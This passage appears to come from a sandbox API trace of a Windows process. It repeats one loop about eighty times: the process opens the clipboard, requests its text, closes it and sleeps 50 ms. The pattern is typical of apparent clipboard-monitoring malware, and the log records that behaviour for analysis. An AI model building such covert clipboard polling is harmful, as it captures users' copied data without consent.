[0229.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe40a7cc4, dwHighDateTime=0x1d96e12))
[0229.983] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.983] GetClipboardData (uFormat=0x1) returned 0x0
[0229.983] CloseClipboard () returned 1
[0229.983] Sleep (dwMilliseconds=0x32)
[0230.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe41405e0, dwHighDateTime=0x1d96e12))
[0230.045] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.045] GetClipboardData (uFormat=0x1) returned 0x0
[0230.045] CloseClipboard () returned 1
[0230.045] Sleep (dwMilliseconds=0x32)
[0230.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe41bb9a5, dwHighDateTime=0x1d96e12))
[0230.096] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.096] GetClipboardData (uFormat=0x1) returned 0x0
[0230.096] CloseClipboard () returned 1
[0230.096] Sleep (dwMilliseconds=0x32)
[0230.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe423d825, dwHighDateTime=0x1d96e12))
[0230.149] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.149] GetClipboardData (uFormat=0x1) returned 0x0
[0230.149] CloseClipboard () returned 1
[0230.149] Sleep (dwMilliseconds=0x32)
[0230.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe42d618f, dwHighDateTime=0x1d96e12))
[0230.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.211] GetClipboardData (uFormat=0x1) returned 0x0
[0230.211] CloseClipboard () returned 1
[0230.211] Sleep (dwMilliseconds=0x32)
[0230.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe436eb5f, dwHighDateTime=0x1d96e12))
[0230.274] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.274] GetClipboardData (uFormat=0x1) returned 0x0
[0230.274] CloseClipboard () returned 1
[0230.274] Sleep (dwMilliseconds=0x32)
[0230.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe44073e8, dwHighDateTime=0x1d96e12))
[0230.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.336] GetClipboardData (uFormat=0x1) returned 0x0
[0230.337] CloseClipboard () returned 1
[0230.337] Sleep (dwMilliseconds=0x32)
[0230.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe449fd9c, dwHighDateTime=0x1d96e12))
[0230.406] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.406] GetClipboardData (uFormat=0x1) returned 0x0
[0230.407] CloseClipboard () returned 1
[0230.407] Sleep (dwMilliseconds=0x32)
[0230.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4538754, dwHighDateTime=0x1d96e12))
[0230.463] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.463] GetClipboardData (uFormat=0x1) returned 0x0
[0230.463] CloseClipboard () returned 1
[0230.463] Sleep (dwMilliseconds=0x32)
[0230.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe45d10bc, dwHighDateTime=0x1d96e12))
[0230.524] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.524] GetClipboardData (uFormat=0x1) returned 0x0
[0230.524] CloseClipboard () returned 1
[0230.524] Sleep (dwMilliseconds=0x32)
[0230.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe46699d7, dwHighDateTime=0x1d96e12))
[0230.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.586] GetClipboardData (uFormat=0x1) returned 0x0
[0230.586] CloseClipboard () returned 1
[0230.586] Sleep (dwMilliseconds=0x32)
[0230.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4702336, dwHighDateTime=0x1d96e12))
[0230.649] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.649] GetClipboardData (uFormat=0x1) returned 0x0
[0230.649] CloseClipboard () returned 1
[0230.649] Sleep (dwMilliseconds=0x32)
[0230.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe479acf8, dwHighDateTime=0x1d96e12))
[0230.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.711] GetClipboardData (uFormat=0x1) returned 0x0
[0230.711] CloseClipboard () returned 1
[0230.712] Sleep (dwMilliseconds=0x32)
[0230.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4833623, dwHighDateTime=0x1d96e12))
[0230.774] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.774] GetClipboardData (uFormat=0x1) returned 0x0
[0230.774] CloseClipboard () returned 1
[0230.774] Sleep (dwMilliseconds=0x32)
[0230.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe48cbf73, dwHighDateTime=0x1d96e12))
[0230.837] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.837] GetClipboardData (uFormat=0x1) returned 0x0
[0230.837] CloseClipboard () returned 1
[0230.837] Sleep (dwMilliseconds=0x32)
[0230.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe49648b6, dwHighDateTime=0x1d96e12))
[0230.899] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.899] GetClipboardData (uFormat=0x1) returned 0x0
[0230.899] CloseClipboard () returned 1
[0230.899] Sleep (dwMilliseconds=0x32)
[0230.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe49fd2a6, dwHighDateTime=0x1d96e12))
[0230.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0230.961] GetClipboardData (uFormat=0x1) returned 0x0
[0230.962] CloseClipboard () returned 1
[0230.962] Sleep (dwMilliseconds=0x32)
[0231.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4a95b88, dwHighDateTime=0x1d96e12))
[0231.024] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.024] GetClipboardData (uFormat=0x1) returned 0x0
[0231.024] CloseClipboard () returned 1
[0231.024] Sleep (dwMilliseconds=0x32)
[0231.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4b2fdc7, dwHighDateTime=0x1d96e12))
[0231.087] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.087] GetClipboardData (uFormat=0x1) returned 0x0
[0231.087] CloseClipboard () returned 1
[0231.087] Sleep (dwMilliseconds=0x32)
[0231.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4bc2f50, dwHighDateTime=0x1d96e12))
[0231.147] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.147] GetClipboardData (uFormat=0x1) returned 0x0
[0231.147] CloseClipboard () returned 1
[0231.147] Sleep (dwMilliseconds=0x32)
[0231.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4c5b845, dwHighDateTime=0x1d96e12))
[0231.215] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.215] GetClipboardData (uFormat=0x1) returned 0x0
[0231.215] CloseClipboard () returned 1
[0231.215] Sleep (dwMilliseconds=0x32)
[0231.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4ce459d, dwHighDateTime=0x1d96e12))
[0231.266] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.266] GetClipboardData (uFormat=0x1) returned 0x0
[0231.266] CloseClipboard () returned 1
[0231.266] Sleep (dwMilliseconds=0x32)
[0231.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4d7434b, dwHighDateTime=0x1d96e12))
[0231.325] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.325] GetClipboardData (uFormat=0x1) returned 0x0
[0231.325] CloseClipboard () returned 1
[0231.325] Sleep (dwMilliseconds=0x32)
[0231.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4e0cd4b, dwHighDateTime=0x1d96e12))
[0231.387] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.387] GetClipboardData (uFormat=0x1) returned 0x0
[0231.387] CloseClipboard () returned 1
[0231.387] Sleep (dwMilliseconds=0x32)
[0231.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4ea561f, dwHighDateTime=0x1d96e12))
[0231.450] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.450] GetClipboardData (uFormat=0x1) returned 0x0
[0231.450] CloseClipboard () returned 1
[0231.450] Sleep (dwMilliseconds=0x32)
[0231.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4f3e070, dwHighDateTime=0x1d96e12))
[0231.512] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.512] GetClipboardData (uFormat=0x1) returned 0x0
[0231.512] CloseClipboard () returned 1
[0231.512] Sleep (dwMilliseconds=0x32)
[0231.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe4fd692a, dwHighDateTime=0x1d96e12))
[0231.575] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.575] GetClipboardData (uFormat=0x1) returned 0x0
[0231.575] CloseClipboard () returned 1
[0231.575] Sleep (dwMilliseconds=0x32)
[0231.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe506f24f, dwHighDateTime=0x1d96e12))
[0231.637] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.637] GetClipboardData (uFormat=0x1) returned 0x0
[0231.637] CloseClipboard () returned 1
[0231.637] Sleep (dwMilliseconds=0x32)
[0231.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5107c24, dwHighDateTime=0x1d96e12))
[0231.700] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.700] GetClipboardData (uFormat=0x1) returned 0x0
[0231.700] CloseClipboard () returned 1
[0231.700] Sleep (dwMilliseconds=0x32)
[0231.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe51a05c8, dwHighDateTime=0x1d96e12))
[0231.762] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.762] GetClipboardData (uFormat=0x1) returned 0x0
[0231.762] CloseClipboard () returned 1
[0231.762] Sleep (dwMilliseconds=0x32)
[0231.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5238f4c, dwHighDateTime=0x1d96e12))
[0231.825] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.825] GetClipboardData (uFormat=0x1) returned 0x0
[0231.825] CloseClipboard () returned 1
[0231.825] Sleep (dwMilliseconds=0x32)
[0231.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe52d188c, dwHighDateTime=0x1d96e12))
[0231.887] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.887] GetClipboardData (uFormat=0x1) returned 0x0
[0231.887] CloseClipboard () returned 1
[0231.888] Sleep (dwMilliseconds=0x32)
[0231.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5354c40, dwHighDateTime=0x1d96e12))
[0231.941] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.941] GetClipboardData (uFormat=0x1) returned 0x0
[0231.941] CloseClipboard () returned 1
[0231.941] Sleep (dwMilliseconds=0x32)
[0231.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe53dc85d, dwHighDateTime=0x1d96e12))
[0231.996] OpenClipboard (hWndNewOwner=0x0) returned 1
[0231.997] GetClipboardData (uFormat=0x1) returned 0x0
[0231.997] CloseClipboard () returned 1
[0231.997] Sleep (dwMilliseconds=0x32)
[0232.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5475216, dwHighDateTime=0x1d96e12))
[0232.059] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.059] GetClipboardData (uFormat=0x1) returned 0x0
[0232.059] CloseClipboard () returned 1
[0232.059] Sleep (dwMilliseconds=0x32)
[0232.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe550dbee, dwHighDateTime=0x1d96e12))
[0232.121] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.122] GetClipboardData (uFormat=0x1) returned 0x0
[0232.122] CloseClipboard () returned 1
[0232.122] Sleep (dwMilliseconds=0x32)
[0232.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe55a653d, dwHighDateTime=0x1d96e12))
[0232.184] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.184] GetClipboardData (uFormat=0x1) returned 0x0
[0232.184] CloseClipboard () returned 1
[0232.184] Sleep (dwMilliseconds=0x32)
[0232.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe563ee47, dwHighDateTime=0x1d96e12))
[0232.246] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.247] GetClipboardData (uFormat=0x1) returned 0x0
[0232.247] CloseClipboard () returned 1
[0232.247] Sleep (dwMilliseconds=0x32)
[0232.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe56d7746, dwHighDateTime=0x1d96e12))
[0232.309] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.309] GetClipboardData (uFormat=0x1) returned 0x0
[0232.309] CloseClipboard () returned 1
[0232.309] Sleep (dwMilliseconds=0x32)
[0232.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5770143, dwHighDateTime=0x1d96e12))
[0232.371] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.371] GetClipboardData (uFormat=0x1) returned 0x0
[0232.372] CloseClipboard () returned 1
[0232.372] Sleep (dwMilliseconds=0x32)
[0232.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5808a84, dwHighDateTime=0x1d96e12))
[0232.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.434] GetClipboardData (uFormat=0x1) returned 0x0
[0232.434] CloseClipboard () returned 1
[0232.434] Sleep (dwMilliseconds=0x32)
[0232.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe58a1397, dwHighDateTime=0x1d96e12))
[0232.496] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.496] GetClipboardData (uFormat=0x1) returned 0x0
[0232.497] CloseClipboard () returned 1
[0232.497] Sleep (dwMilliseconds=0x32)
[0232.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5939d66, dwHighDateTime=0x1d96e12))
[0232.559] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.559] GetClipboardData (uFormat=0x1) returned 0x0
[0232.559] CloseClipboard () returned 1
[0232.559] Sleep (dwMilliseconds=0x32)
[0232.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe59d270c, dwHighDateTime=0x1d96e12))
[0232.621] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.622] GetClipboardData (uFormat=0x1) returned 0x0
[0232.622] CloseClipboard () returned 1
[0232.622] Sleep (dwMilliseconds=0x32)
[0232.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5a6b05e, dwHighDateTime=0x1d96e12))
[0232.684] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.684] GetClipboardData (uFormat=0x1) returned 0x0
[0232.684] CloseClipboard () returned 1
[0232.684] Sleep (dwMilliseconds=0x32)
[0232.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5b03989, dwHighDateTime=0x1d96e12))
[0232.746] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.747] GetClipboardData (uFormat=0x1) returned 0x0
[0232.747] CloseClipboard () returned 1
[0232.747] Sleep (dwMilliseconds=0x32)
[0232.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5b9c35b, dwHighDateTime=0x1d96e12))
[0232.809] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.809] GetClipboardData (uFormat=0x1) returned 0x0
[0232.809] CloseClipboard () returned 1
[0232.809] Sleep (dwMilliseconds=0x32)
[0232.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5c34c78, dwHighDateTime=0x1d96e12))
[0232.872] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.872] GetClipboardData (uFormat=0x1) returned 0x0
[0232.872] CloseClipboard () returned 1
[0232.872] Sleep (dwMilliseconds=0x32)
[0232.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5ccd57b, dwHighDateTime=0x1d96e12))
[0232.934] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.934] GetClipboardData (uFormat=0x1) returned 0x0
[0232.934] CloseClipboard () returned 1
[0232.934] Sleep (dwMilliseconds=0x32)
[0232.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5d65fba, dwHighDateTime=0x1d96e12))
[0232.996] OpenClipboard (hWndNewOwner=0x0) returned 1
[0232.997] GetClipboardData (uFormat=0x1) returned 0x0
[0232.997] CloseClipboard () returned 1
[0232.997] Sleep (dwMilliseconds=0x32)
[0233.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5dfe8c6, dwHighDateTime=0x1d96e12))
[0233.059] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.059] GetClipboardData (uFormat=0x1) returned 0x0
[0233.059] CloseClipboard () returned 1
[0233.059] Sleep (dwMilliseconds=0x32)
[0233.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5e97292, dwHighDateTime=0x1d96e12))
[0233.122] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.122] GetClipboardData (uFormat=0x1) returned 0x0
[0233.122] CloseClipboard () returned 1
[0233.122] Sleep (dwMilliseconds=0x32)
[0233.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5f2fbcd, dwHighDateTime=0x1d96e12))
[0233.184] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.184] GetClipboardData (uFormat=0x1) returned 0x0
[0233.184] CloseClipboard () returned 1
[0233.184] Sleep (dwMilliseconds=0x32)
[0233.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe5fc8463, dwHighDateTime=0x1d96e12))
[0233.247] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.247] GetClipboardData (uFormat=0x1) returned 0x0
[0233.247] CloseClipboard () returned 1
[0233.247] Sleep (dwMilliseconds=0x32)
[0233.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6060ea9, dwHighDateTime=0x1d96e12))
[0233.309] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.309] GetClipboardData (uFormat=0x1) returned 0x0
[0233.309] CloseClipboard () returned 1
[0233.309] Sleep (dwMilliseconds=0x32)
[0233.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe60f9815, dwHighDateTime=0x1d96e12))
[0233.372] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.372] GetClipboardData (uFormat=0x1) returned 0x0
[0233.372] CloseClipboard () returned 1
[0233.373] Sleep (dwMilliseconds=0x32)
[0233.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6192045, dwHighDateTime=0x1d96e12))
[0233.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.434] GetClipboardData (uFormat=0x1) returned 0x0
[0233.434] CloseClipboard () returned 1
[0233.434] Sleep (dwMilliseconds=0x32)
[0233.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe622aabc, dwHighDateTime=0x1d96e12))
[0233.496] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.497] GetClipboardData (uFormat=0x1) returned 0x0
[0233.497] CloseClipboard () returned 1
[0233.497] Sleep (dwMilliseconds=0x32)
[0233.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe62c3440, dwHighDateTime=0x1d96e12))
[0233.559] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.559] GetClipboardData (uFormat=0x1) returned 0x0
[0233.559] CloseClipboard () returned 1
[0233.559] Sleep (dwMilliseconds=0x32)
[0233.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe635bdc7, dwHighDateTime=0x1d96e12))
[0233.622] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.622] GetClipboardData (uFormat=0x1) returned 0x0
[0233.622] CloseClipboard () returned 1
[0233.622] Sleep (dwMilliseconds=0x32)
[0233.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe63f46a9, dwHighDateTime=0x1d96e12))
[0233.684] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.684] GetClipboardData (uFormat=0x1) returned 0x0
[0233.684] CloseClipboard () returned 1
[0233.684] Sleep (dwMilliseconds=0x32)
[0233.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe648d056, dwHighDateTime=0x1d96e12))
[0233.746] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.747] GetClipboardData (uFormat=0x1) returned 0x0
[0233.747] CloseClipboard () returned 1
[0233.747] Sleep (dwMilliseconds=0x32)
[0233.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6525944, dwHighDateTime=0x1d96e12))
[0233.809] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.810] GetClipboardData (uFormat=0x1) returned 0x0
[0233.810] CloseClipboard () returned 1
[0233.810] Sleep (dwMilliseconds=0x32)
[0233.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe65be298, dwHighDateTime=0x1d96e12))
[0233.871] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.872] GetClipboardData (uFormat=0x1) returned 0x0
[0233.872] CloseClipboard () returned 1
[0233.872] Sleep (dwMilliseconds=0x32)
[0233.935] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6656ccc, dwHighDateTime=0x1d96e12))
[0233.935] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.935] GetClipboardData (uFormat=0x1) returned 0x0
[0233.935] CloseClipboard () returned 1
[0233.935] Sleep (dwMilliseconds=0x32)
[0233.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe66ef652, dwHighDateTime=0x1d96e12))
[0233.997] OpenClipboard (hWndNewOwner=0x0) returned 1
[0233.997] GetClipboardData (uFormat=0x1) returned 0x0
[0233.997] CloseClipboard () returned 1
[0233.997] Sleep (dwMilliseconds=0x32)
[0234.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6787f97, dwHighDateTime=0x1d96e12))
[0234.064] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.064] GetClipboardData (uFormat=0x1) returned 0x0
[0234.064] CloseClipboard () returned 1
[0234.065] Sleep (dwMilliseconds=0x32)
[0234.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6820955, dwHighDateTime=0x1d96e12))
[0234.122] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.122] GetClipboardData (uFormat=0x1) returned 0x0
[0234.122] CloseClipboard () returned 1
[0234.122] Sleep (dwMilliseconds=0x32)
[0234.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe68b92bc, dwHighDateTime=0x1d96e12))
[0234.184] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.184] GetClipboardData (uFormat=0x1) returned 0x0
[0234.184] CloseClipboard () returned 1
[0234.184] Sleep (dwMilliseconds=0x32)
[0234.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6951c60, dwHighDateTime=0x1d96e12))
[0234.247] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.247] GetClipboardData (uFormat=0x1) returned 0x0
[0234.247] CloseClipboard () returned 1
[0234.247] Sleep (dwMilliseconds=0x32)
[0234.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe69ea586, dwHighDateTime=0x1d96e12))
